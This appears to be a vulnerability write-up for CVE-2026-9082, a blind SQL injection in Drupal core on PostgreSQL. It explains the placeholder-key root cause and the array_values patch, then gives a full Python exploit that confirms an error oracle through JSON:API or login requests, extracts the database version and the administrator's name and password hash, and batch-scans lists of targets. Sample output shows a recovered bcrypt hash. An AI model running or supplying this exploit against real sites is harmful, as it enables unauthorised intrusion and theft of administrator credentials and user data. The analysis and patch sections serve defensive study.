#Summary
CVE-2026-9082 is a critical SQL injection vulnerability in Drupal core affecting PostgreSQL database backends. An unauthenticated attacker can extract sensitive data including administrator password hashes by exploiting how the pgsql Entity Query layer constructs SQL placeholder names from attacker-controlled PHP array keys. The vulnerability has a CVSS score of 9.8 (CRITICAL) and is actively listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The vulnerability is a blind SQL injection with an error oracle: the attacker cannot read data directly, but can control whether database errors occur via a specially crafted payload, enabling bit-by-bit data extraction through binary search. No authentication, no privileged access, and no special site configuration is required - it works on default Drupal installations with PostgreSQL.
#Affected versions
- Drupal core 8.9.0 to 10.4.9
- Drupal core 10.5.0 to 10.5.9
- Drupal core 10.6.0 to 10.6.8
- Drupal core 11.0.0 to 11.1.9
- Drupal core 11.2.0 to 11.2.11
- Drupal core 11.3.0 to 11.3.9
PostgreSQL databases only. MySQL, MariaDB, and SQLite are not affected.
Fixed versions: 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10.
Default Drupal installation with standard profile is vulnerable if PostgreSQL is the database backend.
#Root cause analysis
#Vulnerable code path
The vulnerability exists in core/modules/pgsql/src/EntityQuery/Condition.php in the translateCondition() method, which is a PostgreSQL-specific override that implements case-insensitive IN comparisons. Here is the vulnerable code at Drupal 11.3.9:
public static function translateCondition(&$condition, SelectInterface $sql_query, $case_sensitive): void {
if (is_array($condition['value']) && $case_sensitive === FALSE) {
$condition['where'] = 'LOWER(' . $sql_query->escapeField($condition['real_field']) . ') ' . $condition['operator'] . ' (';
$condition['where_args'] = [];
// Only use the array values in case an associative array is passed as an
// argument following similar pattern in
// \Drupal\Core\Database\Connection::expandArguments().
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
$where_id = $where_prefix . $key;
$condition['where'] .= 'LOWER(:' . $where_id . '),';
$condition['where_args'][':' . $where_id] = $value;
}
$condition['where'] = trim($condition['where'], ',');
$condition['where'] .= ')';
}
parent::translateCondition($condition, $sql_query, $case_sensitive);
}The critical bug is on line 47: the loop iterates over $condition['value'] with $key => $value, but the $key is attacker-controlled and is directly concatenated into the SQL fragment on line 48: 'LOWER(:' . $where_id . '),'. This is a classic string-injection pattern: the placeholder name is built via string concatenation instead of through parameterized query mechanisms.
The comment on line 43-44 states the code should "only use the array values", but the loop never re-indexes the array using array_values(), so the raw keys survive and reach the SQL placeholder construction.
#Why this becomes executable SQL
Two facts turn an attacker-controlled placeholder name into executing SQL:
#PDO placeholder parser stops at non-identifier bytes
PDO's named placeholder token syntax is : followed by [A-Za-z0-9_]+. When PDO encounters a non-identifier character, it terminates the placeholder token and treats everything after as literal SQL.
For example, if an attacker supplies an array key like 0||1/(CASE WHEN (1=1) THEN 0 ELSE 1 END), the generated SQL becomes:
LOWER(:node_field_data_title0||1/(CASE WHEN (1=1) THEN 0 ELSE 1 END))PDO sees the placeholder token :node_field_data_title0 and stops at the | character. Everything from || onward is not part of any placeholder - it is literal SQL that PostgreSQL receives and executes.
#Emulated prepares ignore unmatched bound arguments
The PostgreSQL driver in Drupal is configured with PDO::ATTR_EMULATE_PREPARES => TRUE, which means PDO does client-side parsing and substitution instead of using native prepared statements. This has a critical consequence: if a bound argument exists in the where_args array but no matching placeholder is found in the SQL, that argument is simply never looked up and causes no error.
Without this, the attack would fail immediately: a placeholder named :node_field_data_title0||1/(CASE... would have no matching bound argument, and PDO would raise SQLSTATE[HY093] Invalid parameter number. But because emulated prepares silently ignore unmatched arguments, the query executes.
#The mandatory two-key payload
The exploit pairs a clean key (typically 0) with the injected key (e.g., 0||1/(CASE...)). Both keys emit the same parsed placeholder token :node_field_data_title0 because the injection begins with 0. The clean entry binds this placeholder, so the query runs. Without the clean key, every request fails with HY093 regardless of the predicate value - no oracle.
#Why only PostgreSQL
MySQL and SQLite do not have a translateCondition() override in their respective database drivers. Array conditions go through the database-agnostic Drupal\Core\Database\Connection::expandArguments() instead, which generates placeholder names from an internal counter (:db_condition_placeholder_0, :db_condition_placeholder_1, etc.) and discards the caller's array keys. Only the PostgreSQL driver interpolates array keys into placeholder names, making this a PostgreSQL-only vulnerability.
#How the query reaches the vulnerable code
There are two anonymous entry points:
#Entry point A: POST /user/login?_format=json
Available on every Drupal site with no special modules. The user authentication controller accepts a JSON-decoded request body and passes $credentials['name'] to buildPropertyQuery() without type-checking. If the caller sends an object instead of a string for the name field, it becomes a PHP array after JSON decoding. The flood-control check reaches the vulnerable EntityQuery::condition() on the user entity's name field, which defaults to case-insensitive FALSE and triggers the vulnerable code path.
Rate-limited to ~50 failed logins per hour per IP. Good for reachability proof, insufficient for data extraction.
#Entry point B: GET /jsonapi/node/article (requires JSON:API module)
The JSON:API filter query string filter[<label>][condition][value][<key>]=<v> is parsed by Symfony/PHP into nested arrays, so array keys survive intact and reach the vulnerable translator. Crucially, there is no rate limit on this endpoint. The IN operator is explicitly allowed in the filter list, and the field (node title) defaults to case-insensitive.
This is the practical exploitation vector - hundreds of requests can be sent without hitting any limits.
#Patch diff
The fix is commit ea9524d9c75dd4fcbaf5d4a823c7f571de7d546c and is remarkably concise. It removes attacker control of the key entirely by re-indexing the array to sequential integers before the vulnerable code ever uses it.
#Primary fix in Condition.php
@@ -22,7 +22,7 @@ public static function translateCondition(&$condition, SelectInterface $sql_quer
// argument following similar pattern in
// \Drupal\Core\Database\Connection::expandArguments().
$where_prefix = str_replace('.', '_', $condition['real_field']);
- foreach ($condition['value'] as $key => $value) {
+ foreach (array_values($condition['value']) as $key => $value) {
$where_id = $where_prefix . $key;
$condition['where'] .= 'LOWER(:' . $where_id . '),';
$condition['where_args'][':' . $where_id] = $value;array_values() returns a new array with sequential integer keys starting at 0, discarding all original keys. Now $key is guaranteed to be 0, 1, 2, ... and can never contain attacker bytes.
#Defense in depth
The same array normalization is also applied one level up in core/lib/Drupal/Core/Entity/Query/Sql/Condition.php::compile() and in ConditionAggregate.php::compile() so that any other driver-specific translateCondition() override (including third-party database drivers) also receives a canonicalized list:
$condition['real_field'] = $field;
+ if (is_array($condition['value'])) {
+ $condition['value'] = array_values($condition['value']);
+ }
static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));This ensures the vulnerability is fixed at the source and not just in the PostgreSQL-specific code.
#Proof of concept
#exploit.py - Drupal PostgreSQL SQL Injection PoC
#!/usr/bin/env python3
"""
CVE-2026-9082 - Drupal core anonymous SQL injection (SA-CORE-2026-004), PostgreSQL only
Affected: Drupal core 8.9.0-10.4.9, 10.5.0-10.5.9, 10.6.0-10.6.8, 11.0.0-11.1.9,
11.2.0-11.2.11, 11.3.0-11.3.9 - PostgreSQL database backends only.
Type: SQL injection (blind, error-oracle)
Root cause:
Drupal\\pgsql\\EntityQuery\\Condition::translateCondition() builds a PDO placeholder
name by concatenating an attacker-controlled PHP array key straight into a raw SQL
fragment ("LOWER(:" . $where_prefix . $key . "),"). PDO's placeholder parser stops at
the first non-identifier byte, so everything the attacker writes after that byte is
emitted as literal SQL and executed by PostgreSQL. The pgsql driver runs with emulated
prepares, so a surplus bound argument is silently ignored - which is why a payload that
pairs a clean key "0" with an injected key "0<sql>" runs cleanly and turns the injected
SQL predicate into an HTTP status oracle.
The oracle:
Injected array key = 0 || 1/(CASE WHEN (<predicate>) THEN 0 ELSE 1 END)
predicate TRUE -> divisor 0 -> PostgreSQL 22012 division_by_zero -> HTTP 500
predicate FALSE -> divisor 1 -> clean evaluation -> HTTP 200
One controlled bit per request. No reflected output, no UNION: this is a pure blind
error oracle, so extraction is by binary search over ascii(substr(...)).
Two anonymous entry points (both reach the same translator):
B (default, no rate limit): GET /jsonapi/node/article?filter[a][condition][path]=title
&filter[a][condition][operator]=IN&filter[a][condition][value][0]=x
&filter[a][condition][value][<injected-key>]=x -> 500 true / 200 false
A (default install, no JSON:API, flood-limited to 50/hour/IP):
POST /user/login?_format=json {"name":{"0":"x","<injected-key>":"x"},"pass":"x"}
-> 500 true / 400 false
Usage:
python exploit.py --host 127.0.0.1 --port 8180
python exploit.py --host http://target.com
python exploit.py --host https://drupal.corp:8443/jsonapi/node/article
python exploit.py --host 127.0.0.1 --port 8180 --payload "current_user='drupal'"
python exploit.py --host 127.0.0.1 --port 8180 --login-proof
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import sys
import threading
from urllib.parse import urlparse, quote
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-9082"
VULN_TYPE = "SQLi"
HTTP_TIMEOUT = 20
# Subqueries used for the terminal-evidence extraction. Any of these can be swapped for an
# arbitrary read against the site database - the injection grants full read access.
SUB_VERSION = "version()"
SUB_ADMIN_NAME = "(SELECT name FROM users_field_data WHERE uid=1)"
SUB_ADMIN_PASS = "(SELECT pass FROM users_field_data WHERE uid=1)"
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP " + str(n) + "] " + msg)
def section(label, content):
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
class OracleError(Exception):
"""The oracle produced neither a clean 500 (true) nor a clean 200 (false)."""
# --------------------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------------------
def _injected_key(predicate):
"""Raw (un-encoded) injected array key for the given boolean SQL predicate.
Begins with '0' so its emitted placeholder token collapses onto the same :<prefix>0
that the clean key binds, then '||' concatenation into a divide-by-CASE that raises
division_by_zero exactly when the predicate is true.
"""
return "0||1/(CASE WHEN (" + predicate + ") THEN 0 ELSE 1 END)"
def _jsonapi_url(base_url, predicate):
"""Full JSON:API request URL for one oracle probe.
Structural filter[...] brackets are left raw; the injected key is fully percent-encoded
so requests transmits it verbatim (the payload must not contain '[' or ']', which PHP's
query parser would treat as sub-key delimiters).
"""
key = quote(_injected_key(predicate), safe="")
qs = (
"filter[a][condition][path]=title"
"&filter[a][condition][operator]=IN"
"&filter[a][condition][value][0]=x"
"&filter[a][condition][value][" + key + "]=x"
)
sep = "&" if ("?" in base_url) else "?"
return base_url + sep + qs
def _login_body(predicate):
"""JSON body for the /user/login oracle. Here '[' and ']' are safe (JSON object key)."""
return json.dumps({"name": {"0": "x", _injected_key(predicate): "x"}, "pass": "x"})
# --------------------------------------------------------------------------------------
# Oracle
# --------------------------------------------------------------------------------------
def _oracle_jsonapi(session, base_url, predicate):
"""Return True if predicate is TRUE (HTTP 500), False if FALSE (HTTP 200).
Any other status is ambiguous (patched target, HY093 from a malformed predicate,
non-PostgreSQL backend) and raises OracleError.
"""
r = session.get(_jsonapi_url(base_url, predicate), timeout=HTTP_TIMEOUT, verify=False)
if r.status_code == 500:
return True
if r.status_code == 200:
return False
raise OracleError("unexpected status " + str(r.status_code) + " for predicate: " + predicate)
def _oracle_login(session, login_url, predicate):
"""Login-endpoint oracle: 500 true, 400 false. Flood-limited - use sparingly."""
r = session.post(
login_url,
data=_login_body(predicate),
headers={"Content-Type": "application/json"},
timeout=HTTP_TIMEOUT,
verify=False,
)
if r.status_code == 500:
return True
if r.status_code == 400:
return False
if r.status_code in (403, 429):
raise OracleError("flood control engaged (HTTP " + str(r.status_code) + ")")
raise OracleError("unexpected login status " + str(r.status_code))
def _confirm_oracle(oracle_fn):
"""Prove the oracle diverges before trusting it. Returns (ok, detail)."""
try:
t_true = oracle_fn("1=1")
t_false = oracle_fn("1=0")
except OracleError as e:
return False, str(e)
if t_true and not t_false:
return True, "1=1 -> true / 1=0 -> false"
if t_true and t_false:
return False, "both predicates true (likely HY093 - missing clean key, not an oracle)"
return False, "no divergence (patched, non-PostgreSQL, or case-sensitive field)"
# --------------------------------------------------------------------------------------
# Blind extraction (binary search over the error oracle)
# --------------------------------------------------------------------------------------
def _extract_length(oracle_fn, subquery, max_len=256):
"""Length of subquery result via binary search on length((sub)) > k."""
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi) // 2
if oracle_fn("length(" + subquery + ") > " + str(mid)):
lo = mid + 1
else:
hi = mid
return lo
def _extract_char(oracle_fn, subquery, pos):
"""Byte value at 1-based position pos via binary search on ascii(substr(...)) > k."""
lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
pred = "ascii(substr(" + subquery + "," + str(pos) + ",1)) > " + str(mid)
if oracle_fn(pred):
lo = mid + 1
else:
hi = mid
return lo
def _extract_string(make_oracle, subquery, workers=8, max_len=256, progress=None):
"""Extract a full string. make_oracle() must return a fresh (thread-safe-per-thread)
oracle callable; each worker thread gets its own so a single requests.Session is never
shared across threads."""
length_oracle = make_oracle()
n = _extract_length(length_oracle, subquery, max_len=max_len)
if n <= 0:
return ""
chars = [None] * n
local = threading.local()
def worker(pos):
oc = getattr(local, "oracle", None)
if oc is None:
oc = make_oracle()
local.oracle = oc
chars[pos - 1] = chr(_extract_char(oc, subquery, pos))
if progress:
progress(pos, n)
import concurrent.futures
with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
list(ex.map(worker, range(1, n + 1)))
return "".join("?" if c is None else c for c in chars)
# --------------------------------------------------------------------------------------
# Target base-URL assembly
# --------------------------------------------------------------------------------------
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
if not path or path in ("", "/"):
path = "/jsonapi/node/article"
default = 443 if use_tls else 80
netloc = host if port == default else host + ":" + str(port)
return scheme + "://" + netloc + path
def _login_url_from_base(host, port, use_tls):
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else host + ":" + str(port)
return scheme + "://" + netloc + "/user/login?_format=json"
# --------------------------------------------------------------------------------------
# Silent probe for --list scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, path="/jsonapi/node/article", **kwargs):
"""Silent probe. Returns (success, evidence). Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
try:
session = requests.Session()
def oracle_fn(pred):
return _oracle_jsonapi(session, base, pred)
ok, detail = _confirm_oracle(oracle_fn)
if not ok:
return False, detail
# Strong, bounded proof: pull the admin username (short) over the oracle.
name = _extract_string(
lambda: (lambda p: _oracle_jsonapi(requests.Session(), base, p)),
SUB_ADMIN_NAME,
workers=kwargs.get("workers", 8),
max_len=64,
)
return True, "SQLi confirmed - admin (uid=1) name: '" + name + "'"
except OracleError as e:
return False, "no oracle (" + str(e) + ")"
except Exception as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
def _parse_target(line, default_port, default_path="/jsonapi/node/article"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets)) + " targets, "
+ str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls, path, workers=4)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# Single-target exploit
# --------------------------------------------------------------------------------------
def _login_proof(host, port, use_tls):
"""Entry point A: prove reachability on a default install with no JSON:API.
Spends exactly two of the 50-per-hour flood budget probes (1=1 then 1=0)."""
login_url = _login_url_from_base(host, port, use_tls)
session = requests.Session()
def oracle_fn(pred):
return _oracle_login(session, login_url, pred)
step(5, "Entry point A proof: POST /user/login?_format=json (no JSON:API needed)")
try:
ok, detail = _confirm_oracle(oracle_fn)
except OracleError as e:
section("LOGIN ORACLE", "could not confirm: " + str(e))
return
if ok:
section("LOGIN ORACLE",
"500 for a true predicate, 400 for a false one (" + detail + ")\n"
"Same translator reached anonymously with NO JSON:API module enabled.\n"
"Note: flood control caps this endpoint at 50 failed logins/hour/IP.")
else:
section("LOGIN ORACLE", "no divergence on /user/login: " + detail)
def exploit(host, port, use_tls, payload, do_login_proof=False, workers=8):
header(host, port)
base = _base_url(host, port, use_tls, "/jsonapi/node/article")
session = requests.Session()
def oracle_fn(pred):
return _oracle_jsonapi(session, base, pred)
def make_oracle():
s = requests.Session()
return lambda p: _oracle_jsonapi(s, base, p)
step(1, "Confirming the error oracle at " + base)
ok, detail = _confirm_oracle(oracle_fn)
if not ok:
section("ORACLE CHECK", detail)
done(False, "No usable oracle - target is patched, not PostgreSQL-backed, "
"or the endpoint is unreachable (" + detail + ")")
section("ORACLE CONFIRMED",
"true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200\n"
+ detail)
step(2, "Fingerprinting the database backend via version()")
version = _extract_string(make_oracle, SUB_VERSION, workers=workers, max_len=256,
progress=None)
section("DATABASE VERSION", version)
step(3, "Extracting administrator account name (users_field_data, uid=1)")
admin_name = _extract_string(make_oracle, SUB_ADMIN_NAME, workers=workers, max_len=64)
section("ADMIN USERNAME (uid=1)", admin_name)
step(4, "Extracting administrator password hash (users_field_data.pass, uid=1)")
admin_hash = _extract_string(make_oracle, SUB_ADMIN_PASS, workers=workers, max_len=256)
section("ADMIN PASSWORD HASH (uid=1)", admin_hash)
# Optional user-supplied boolean predicate, evaluated through the same oracle.
if payload and payload not in ("1=1",):
step(4, "Evaluating user --payload predicate through the oracle")
try:
verdict = oracle_fn(payload)
section("PAYLOAD PREDICATE", "( " + payload + " ) -> "
+ ("TRUE" if verdict else "FALSE"))
except OracleError as e:
section("PAYLOAD PREDICATE",
"( " + payload + " ) -> ambiguous (" + str(e)
+ "); ensure it is a valid boolean predicate with no [ or ]")
if do_login_proof:
_login_proof(host, port, use_tls)
is_pg = version.lower().startswith("postgresql")
got_hash = bool(admin_hash) and admin_hash.startswith("$")
if is_pg and admin_name and got_hash:
done(True, "Blind SQLi confirmed - backend '" + version.split(" on ")[0]
+ "', admin (uid=1) '" + admin_name + "', hash '" + admin_hash[:16] + "...'")
if admin_name or version:
done(True, "Blind SQLi confirmed - extracted version='" + version
+ "', admin_name='" + admin_name + "', hash='" + admin_hash + "'")
done(False, "Oracle diverged but extraction returned nothing - investigate manually")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/jsonapi/node/article)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--payload", default="1=1",
help="PostgreSQL boolean predicate evaluated through the oracle "
"(no '[' or ']'). Default: 1=1")
parser.add_argument("--workers", type=int, default=8,
help="Threads for extraction / --list mode (default: 8)")
parser.add_argument("--login-proof", action="store_true",
help="Also prove entry point A (POST /user/login), flood-limited")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.payload,
do_login_proof=args.login_proof, workers=args.workers)#Usage
Extract admin credentials from a vulnerable Drupal site:
python exploit.py --host 10.0.0.5 --port 80Output against a vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-9082
Type: SQLi | Target: 127.0.0.1:8180
============================================================
[STEP 1] Confirming the error oracle at http://127.0.0.1:8180/jsonapi/node/article
--- ORACLE CONFIRMED ---
true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200
1=1 -> true / 1=0 -> false
--- DATABASE VERSION ---
PostgreSQL 16.14 (Debian 16.14-1.pgdg13+1) on aarch64-unknown-linux-gnu, compiled by gcc (Debian 13.2.0-24) 13.2.0, 64-bit
--- ADMIN USERNAME (uid=1) ---
admin
--- ADMIN PASSWORD HASH (uid=1) ---
$2y$12$BKh2EmkgVLeMgbAfc6pFHefj1B5KakwznLYol9C2pOyXaTdfsE/92
============================================================
RESULT : SUCCESS
EVIDENCE: Blind SQLi confirmed - backend 'PostgreSQL 16.14 ...', admin (uid=1) 'admin', hash '$2y$12$BKh2EmkgV...'
============================================================#Exploitation notes
#Preconditions
- Target is running Drupal on PostgreSQL (not MySQL or SQLite)
- At least one of the affected Drupal versions (8.9.0 through 11.3.9 in the version ranges)
- Either entry point A (always present) or entry point B (requires JSON:API module to be explicitly enabled)
- Anonymous access to the target
#Reliability and constraints
The exploit is highly reliable - success depends only on HTTP status codes and requires no fragile parsing of error messages. However, entry point A (POST /user/login) is flood-limited to 50 failed attempts per hour per IP, making it useful only for reachability proof. Entry point B (JSON:API) has no rate limits and is suitable for full credential extraction.
Binary search extraction requires approximately:
- ~7 HTTP requests per character
- ~60 characters for a bcrypt password hash
- Several hundred total requests per full extraction, taking 20-30 seconds with 8 worker threads
#Impact
Attackers can extract:
- Database version information
- Administrator usernames and password hashes
- Any other data stored in the Drupal database
- Full read access to all tables and columns
The vulnerability is a read-only primitive - it cannot write data or execute arbitrary code via the database alone. However, armed with admin password hashes, an attacker can attempt offline cracking or use them for privilege escalation in other contexts. Drupal credentials themselves do not directly lead to code execution, but database contents may reveal sensitive information.
#Chaining potential
This SQL injection does not chain to other vulnerabilities directly, but the data it exposes (admin credentials, configuration, user data) can be chained with other attack vectors:
- Admin password cracking + account takeover
- Social engineering with exposed user data
- Configuration disclosure leading to other bugs
#References
- CVE: CVE-2026-9082
- Drupal Security Advisory: SA-CORE-2026-004
- GitHub Advisory: GHSA-ghwc-95x2-682j
- Fix Commit: ea9524d9c75dd4fcbaf5d4a823c7f571de7d546c
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-9082
- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities